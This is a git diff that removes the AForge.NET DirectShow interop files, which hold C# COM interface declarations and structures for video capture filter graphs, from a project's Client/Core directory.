- /// Queries whether the current operation should continue. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ShouldOperationContinue( ); - - - // --- IFilterGraph2 methods - - /// - /// - /// - /// - /// Moniker interface. - /// Bind context interface. - /// Name for the filter. - /// Receives source filter's IBaseFilter interface. - /// The caller must release the interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilterForMoniker( - [In] IMoniker moniker, - [In] IBindCtx bindContext, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter - ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin, - /// using a specified media type. - /// - /// - /// Pin to disconnect and reconnect. - /// Media type to reconnect with. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ReconnectEx( - [In] IPin pin, - [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType - ); - - /// - /// Render an output pin, with an option to use existing renderers only. - /// - /// - /// Interface of the output pin. - /// Flag that specifies how to render the pin. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderEx( - [In] IPin outputPin, - [In] int flags, - [In] IntPtr context - ); - - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs deleted file mode 100644 index 8f3fc4ee7..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs +++ /dev/null @@ -1,198 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface provides methods that enable an application to build a filter graph. - /// - /// - [ComImport, - Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IGraphBuilder - { - // --- IFilterGraph Methods - - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IEnumFilters enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - - // --- IGraphBuilder methods - - /// - /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. - /// - /// - /// Output pin. - /// Input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin pinOut, [In] IPin pinIn ); - - /// - /// Adds a chain of filters to a specified output pin to render it. - /// - /// - /// Output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Render( [In] IPin pinOut ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Specifies a string that contains file name or device moniker. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string file, - [In, MarshalAs( UnmanagedType.LPWStr )] string playList); - - /// - /// Adds a source filter to the filter graph for a specific file. - /// - /// - /// Specifies the name of the file to load. - /// Specifies a name for the source filter. - /// Variable that receives the interface of the source filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter ); - - /// - /// Sets the file for logging actions taken when attempting to perform an operation. - /// - /// - /// Handle to the log file. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetLogFile( IntPtr hFile ); - - /// - /// Requests that the graph builder return as soon as possible from its current task. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Abort( ); - - /// - /// Queries whether the current operation should continue. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ShouldOperationContinue( ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs b/Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs deleted file mode 100644 index c6ba35760..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs +++ /dev/null @@ -1,118 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for controlling the flow of data through the filter graph. - /// It includes methods for running, pausing, and stopping the graph. - /// - /// - [ComImport, - Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsDual )] - internal interface IMediaControl - { - /// - /// Runs all the filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( ); - - /// - /// Pauses all filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// Stops all the filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// Retrieves the state of the filter graph. - /// - /// - /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. - /// Ìariable that receives a member of the FILTER_STATE enumeration. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( int timeout, out int filterState ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Name of the file to render - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( string fileName ); - - /// - /// Adds a source filter to the filter graph, for a specified file. - /// - /// - /// Name of the file containing the source video. - /// Receives interface of filter information object. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); - - /// - /// Retrieves a collection of the filters in the filter graph. - /// - /// - /// Receives the IAMCollection interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_FilterCollection( - [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); - - /// - /// Retrieves a collection of all the filters listed in the registry. - /// - /// - /// Receives the IDispatch interface of IAMCollection object. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_RegFilterCollection( - [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); - - /// - /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int StopWhenReady( ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs deleted file mode 100644 index d01bee8c5..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs +++ /dev/null @@ -1,126 +0,0 @@ -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface inherits contains methods for retrieving event notifications and for overriding the - /// filter graph's default handling of events. - /// - [ComVisible( true ), ComImport, - Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsDual )] - internal interface IMediaEventEx - { - /// - /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. - /// - /// Pointer to a variable that receives the event handle. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetEventHandle( out IntPtr hEvent ); - - /// - /// Retrieves the next event notification from the event queue. - /// - /// - /// Variable that receives the event code. - /// Pointer to a variable that receives the first event parameter. - /// Pointer to a variable that receives the second event parameter. - /// Time-out interval, in milliseconds. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); - - /// - /// Waits for the filter graph to render all available data. - /// - /// - /// Time-out interval, in milliseconds. Pass zero to return immediately. - /// Pointer to a variable that receives an event code. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); - - /// - /// Cancels the Filter Graph Manager's default handling for a specified event. - /// - /// - /// Event code for which to cancel default handling. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CancelDefaultHandling( int lEvCode ); - - /// - /// Restores the Filter Graph Manager's default handling for a specified event. - /// - /// Event code for which to restore default handling. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RestoreDefaultHandling( int lEvCode ); - - /// - /// Frees resources associated with the parameters of an event. - /// - /// Event code. - /// First event parameter. - /// Second event parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); - - /// - /// Registers a window to process event notifications. - /// - /// - /// Handle to the window, or to stop receiving event messages. - /// Window message to be passed as the notification. - /// Value to be passed as the lParam parameter for the lMsg message. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); - - /// - /// Enables or disables event notifications. - /// - /// - /// Value indicating whether to enable or disable event notifications. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetNotifyFlags( int lNoNotifyFlags ); - - /// - /// Determines whether event notifications are enabled. - /// - /// - /// Variable that receives current notification status. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetNotifyFlags( out int lplNoNotifyFlags ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IPin.cs b/Client/Core/AForge/Video.DirectShow/Internals/IPin.cs deleted file mode 100644 index ceed73f26..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IPin.cs +++ /dev/null @@ -1,191 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface is exposed by all input and output pins of DirectShow filters. - /// - /// - [ComImport, - Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IPin - { - /// - /// Connects the pin to another pin. - /// - /// - /// Other pin to connect to. - /// Type to use for the connections (optional). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Makes a connection to this pin and is called by a connecting pin. - /// - /// - /// Connecting pin. - /// Media type of the samples to be streamed. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the current pin connection. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( ); - - /// - /// Returns a pointer to the connecting pin. - /// - /// - /// Receives IPin interface of connected pin (if any). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectedTo( [Out] out IPin pin ); - - /// - /// Returns the media type of this pin's connection. - /// - /// - /// Pointer to an structure. If the pin is connected, - /// the media type is returned. Otherwise, the structure is initialized to a default state in which - /// all elements are 0, with the exception of lSampleSize, which is set to 1, and - /// FixedSizeSamples, which is set to true. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves information about this pin (for example, the name, owning filter, and direction). - /// - /// - /// structure that receives the pin information. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryPinInfo( [Out] out PinInfo pinInfo ); - - /// - /// Retrieves the direction for this pin. - /// - /// - /// Receives direction of the pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryDirection( out PinDirection pinDirection ); - - /// - /// Retrieves an identifier for the pin. - /// - /// - /// Pin identifier. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); - - /// - /// Queries whether a given media type is acceptable by the pin. - /// - /// - /// structure that specifies the media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Provides an enumerator for this pin's preferred media types. - /// - /// - /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumMediaTypes( IntPtr enumerator ); - - /// - /// Provides an array of the pins to which this pin internally connects. - /// - /// - /// Address of an array of IPin pointers. - /// On input, specifies the size of the array. When the method returns, - /// the value is set to the number of pointers returned in the array. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); - - /// - /// Notifies the pin that no additional data is expected. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EndOfStream( ); - - /// - /// Begins a flush operation. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int BeginFlush( ); - - /// - /// Ends a flush operation. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EndFlush( ); - - /// - /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. - /// - /// - /// Start time of the segment, relative to the original source, in 100-nanosecond units. - /// End time of the segment, relative to the original source, in 100-nanosecond units. - /// Rate at which this segment should be processed, as a percentage of the original rate. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int NewSegment( - long start, - long stop, - double rate ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs deleted file mode 100644 index faea69d50..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs +++ /dev/null @@ -1,53 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IPropertyBag interface provides an object with a property bag in - /// which the object can persistently save its properties. - /// - /// - [ComImport, - Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IPropertyBag - { - /// - /// Read a property from property bag. - /// - /// - /// Property name to read. - /// Property value. - /// Caller's error log. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Read( - [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, - [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, - [In] IntPtr pErrorLog ); - - /// - /// Write property to property bag. - /// - /// - /// Property name to read. - /// Property value. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Write( - [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, - [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs deleted file mode 100644 index cb0328fab..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs +++ /dev/null @@ -1,87 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2010 -// andrew.kirillov@gmail.com -// -// Written by Jeremy Noring -// kidjan@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IReferenceClock interface provides the reference time for the filter graph. - /// - /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. - /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to - /// retrieve the current reference time, or to request notification of an elapsed time. - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IReferenceClock - { - /// - /// The GetTime method retrieves the current reference time. - /// - /// - /// Pointer to a variable that receives the current time, in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetTime( [Out] out long pTime ); - - /// - /// The AdviseTime method creates a one-shot advise request. - /// - /// - /// Base reference time, in 100-nanosecond units. See Remarks. - /// Stream offset time, in 100-nanosecond units. See Remarks. - /// Handle to an event, created by the caller. - /// Pointer to a variable that receives an identifier for the advise request. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AdviseTime( - [In] long baseTime, - [In] long streamTime, - [In] IntPtr hEvent, - [Out] out int pdwAdviseCookie ); - - /// - /// The AdvisePeriodic method creates a periodic advise request. - /// - /// - /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. - /// Time between notifications, in 100-nanosecond units. Must be greater than zero. - /// Handle to a semaphore, created by the caller. - /// Pointer to a variable that receives an identifier for the advise request. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AdvisePeriodic( - [In] long startTime, - [In] long periodTime, - [In] IntPtr hSemaphore, - [Out] out int pdwAdviseCookie ); - - /// - /// The Unadvise method removes a pending advise request. - /// - /// - /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Unadvise( [In] int dwAdviseCookie ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs deleted file mode 100644 index 07854ac69..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs +++ /dev/null @@ -1,103 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve - /// individual media samples as they move through the filter graph. - /// - /// - [ComImport, - Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface ISampleGrabber - { - /// - /// Specifies whether the filter should stop the graph after receiving one sample. - /// - /// - /// Boolean value specifying whether the filter should stop the graph after receiving one sample. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); - - /// - /// Specifies the media type for the connection on the Sample Grabber's input pin. - /// - /// - /// Specifies the required media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the media type for the connection on the Sample Grabber's input pin. - /// - /// - /// structure, which receives media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Specifies whether to copy sample data into a buffer as it goes through the filter. - /// - /// - /// Boolean value specifying whether to buffer sample data. - /// If true, the filter copies sample data into an internal buffer. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); - - /// - /// Retrieves a copy of the sample that the filter received most recently. - /// - /// - /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. - /// Pointer to a buffer to receive a copy of the sample, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); - - /// - /// Not currently implemented. - /// - /// - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentSample( IntPtr sample ); - - /// - /// Specifies a callback method to call on incoming samples. - /// - /// - /// interface containing the callback method, or NULL to cancel the callback. - /// Index specifying the callback method. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs deleted file mode 100644 index 4dc734019..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs +++ /dev/null @@ -1,47 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides callback methods for the method. - /// - /// - [ComImport, - Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface ISampleGrabberCB - { - /// - /// Callback method that receives a pointer to the media sample. - /// - /// - /// Starting time of the sample, in seconds. - /// Pointer to the sample's IMediaSample interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SampleCB( double sampleTime, IntPtr sample ); - - /// - /// Callback method that receives a pointer to the sample bufferþ - /// - /// - /// Starting time of the sample, in seconds. - /// Pointer to a buffer that contains the sample data. - /// Length of the buffer pointed to by buffer, in bytes - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs deleted file mode 100644 index ecb073926..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs +++ /dev/null @@ -1,36 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface indicates that an object supports property pages. - /// - /// - [ComImport, - Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ISpecifyPropertyPages - { - /// - /// Fills a counted array of GUID values where each GUID specifies the - /// CLSID of each property page that can be displayed in the property - /// sheet for this object. - /// - /// - /// Pointer to a CAUUID structure that must be initialized - /// and filled before returning. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetPages( out CAUUID pPages ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Structures.cs b/Client/Core/AForge/Video.DirectShow/Internals/Structures.cs deleted file mode 100644 index 530283c37..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/Structures.cs +++ /dev/null @@ -1,518 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Drawing; - - // PIN_DIRECTION - - /// - /// This enumeration indicates a pin's direction. - /// - /// - [ComVisible( false )] - internal enum PinDirection - { - /// - /// Input pin. - /// - Input, - - /// - /// Output pin. - /// - Output - } - - // AM_MEDIA_TYPE - - /// - /// The structure describes the format of a media sample. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal class AMMediaType : IDisposable - { - /// - /// Globally unique identifier (GUID) that specifies the major type of the media sample. - /// - public Guid MajorType; - - /// - /// GUID that specifies the subtype of the media sample. - /// - public Guid SubType; - - /// - /// If true, samples are of a fixed size. - /// - [MarshalAs( UnmanagedType.Bool )] - public bool FixedSizeSamples = true; - - /// - /// If true, samples are compressed using temporal (interframe) compression. - /// - [MarshalAs( UnmanagedType.Bool )] - public bool TemporalCompression; - - /// - /// Size of the sample in bytes. For compressed data, the value can be zero. - /// - public int SampleSize = 1; - - /// - /// GUID that specifies the structure used for the format block. - /// - public Guid FormatType; - - /// - /// Not used. - /// - public IntPtr unkPtr; - - /// - /// Size of the format block, in bytes. - /// - public int FormatSize; - - /// - /// Pointer to the format block. - /// - public IntPtr FormatPtr; - - /// - /// Destroys the instance of the class. - /// - /// - ~AMMediaType( ) - { - Dispose( false ); - } - - /// - /// Dispose the object. - /// - /// - public void Dispose( ) - { - Dispose( true ); - // remove me from the Finalization queue - GC.SuppressFinalize( this ); - } - - /// - /// Dispose the object - /// - /// - /// Indicates if disposing was initiated manually. - /// - protected virtual void Dispose( bool disposing ) - { - if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) - { - Marshal.FreeCoTaskMem( FormatPtr ); - FormatSize = 0; - } - - if ( unkPtr != IntPtr.Zero ) - { - Marshal.Release( unkPtr ); - unkPtr = IntPtr.Zero; - } - } - } - - - // PIN_INFO - - /// - /// The structure contains information about a pin. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] - internal struct PinInfo - { - /// - /// Owning filter. - /// - public IBaseFilter Filter; - - /// - /// Direction of the pin. - /// - public PinDirection Direction; - - /// - /// Name of the pin. - /// - [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] - public string Name; - } - - // FILTER_INFO - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] - internal struct FilterInfo - { - /// - /// Filter's name. - /// - [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] - public string Name; - - /// - /// Owning graph. - /// - public IFilterGraph FilterGraph; - } - - // VIDEOINFOHEADER - - /// - /// The structure describes the bitmap and color information for a video image. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct VideoInfoHeader - { - /// - /// structure that specifies the source video window. - /// - public RECT SrcRect; - - /// - /// structure that specifies the destination video window. - /// - public RECT TargetRect; - - /// - /// Approximate data rate of the video stream, in bits per second. - /// - public int BitRate; - - /// - /// Data error rate, in bit errors per second. - /// - public int BitErrorRate; - - /// - /// The desired average display time of the video frames, in 100-nanosecond units. - /// - public long AverageTimePerFrame; - - /// - /// structure that contains color and dimension information for the video image bitmap. - /// - public BitmapInfoHeader BmiHeader; - } - - // VIDEOINFOHEADER2 - - /// - /// The structure describes the bitmap and color information for a video image (v2). - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct VideoInfoHeader2 - { - /// - /// structure that specifies the source video window. - /// - public RECT SrcRect; - - /// - /// structure that specifies the destination video window. - /// - public RECT TargetRect; - - /// - /// Approximate data rate of the video stream, in bits per second. - /// - public int BitRate; - - /// - /// Data error rate, in bit errors per second. - /// - public int BitErrorRate; - - /// - /// The desired average display time of the video frames, in 100-nanosecond units. - /// - public long AverageTimePerFrame; - - /// - /// Flags that specify how the video is interlaced. - /// - public int InterlaceFlags; - - /// - /// Flag set to indicate that the duplication of the stream should be restricted. - /// - public int CopyProtectFlags; - - /// - /// The X dimension of picture aspect ratio. - /// - public int PictAspectRatioX; - - /// - /// The Y dimension of picture aspect ratio. - /// - public int PictAspectRatioY; - - /// - /// Reserved for future use. - /// - public int Reserved1; - - /// - /// Reserved for future use. - /// - public int Reserved2; - - /// - /// structure that contains color and dimension information for the video image bitmap. - /// - public BitmapInfoHeader BmiHeader; - } - - /// - /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 2 )] - internal struct BitmapInfoHeader - { - /// - /// Specifies the number of bytes required by the structure. - /// - public int Size; - - /// - /// Specifies the width of the bitmap. - /// - public int Width; - - /// - /// Specifies the height of the bitmap, in pixels. - /// - public int Height; - - /// - /// Specifies the number of planes for the target device. This value must be set to 1. - /// - public short Planes; - - /// - /// Specifies the number of bits per pixel. - /// - public short BitCount; - - /// - /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. - /// - public int Compression; - - /// - /// Specifies the size, in bytes, of the image. - /// - public int ImageSize; - - /// - /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. - /// - public int XPelsPerMeter; - - /// - /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. - /// - public int YPelsPerMeter; - - /// - /// Specifies the number of color indices in the color table that are actually used 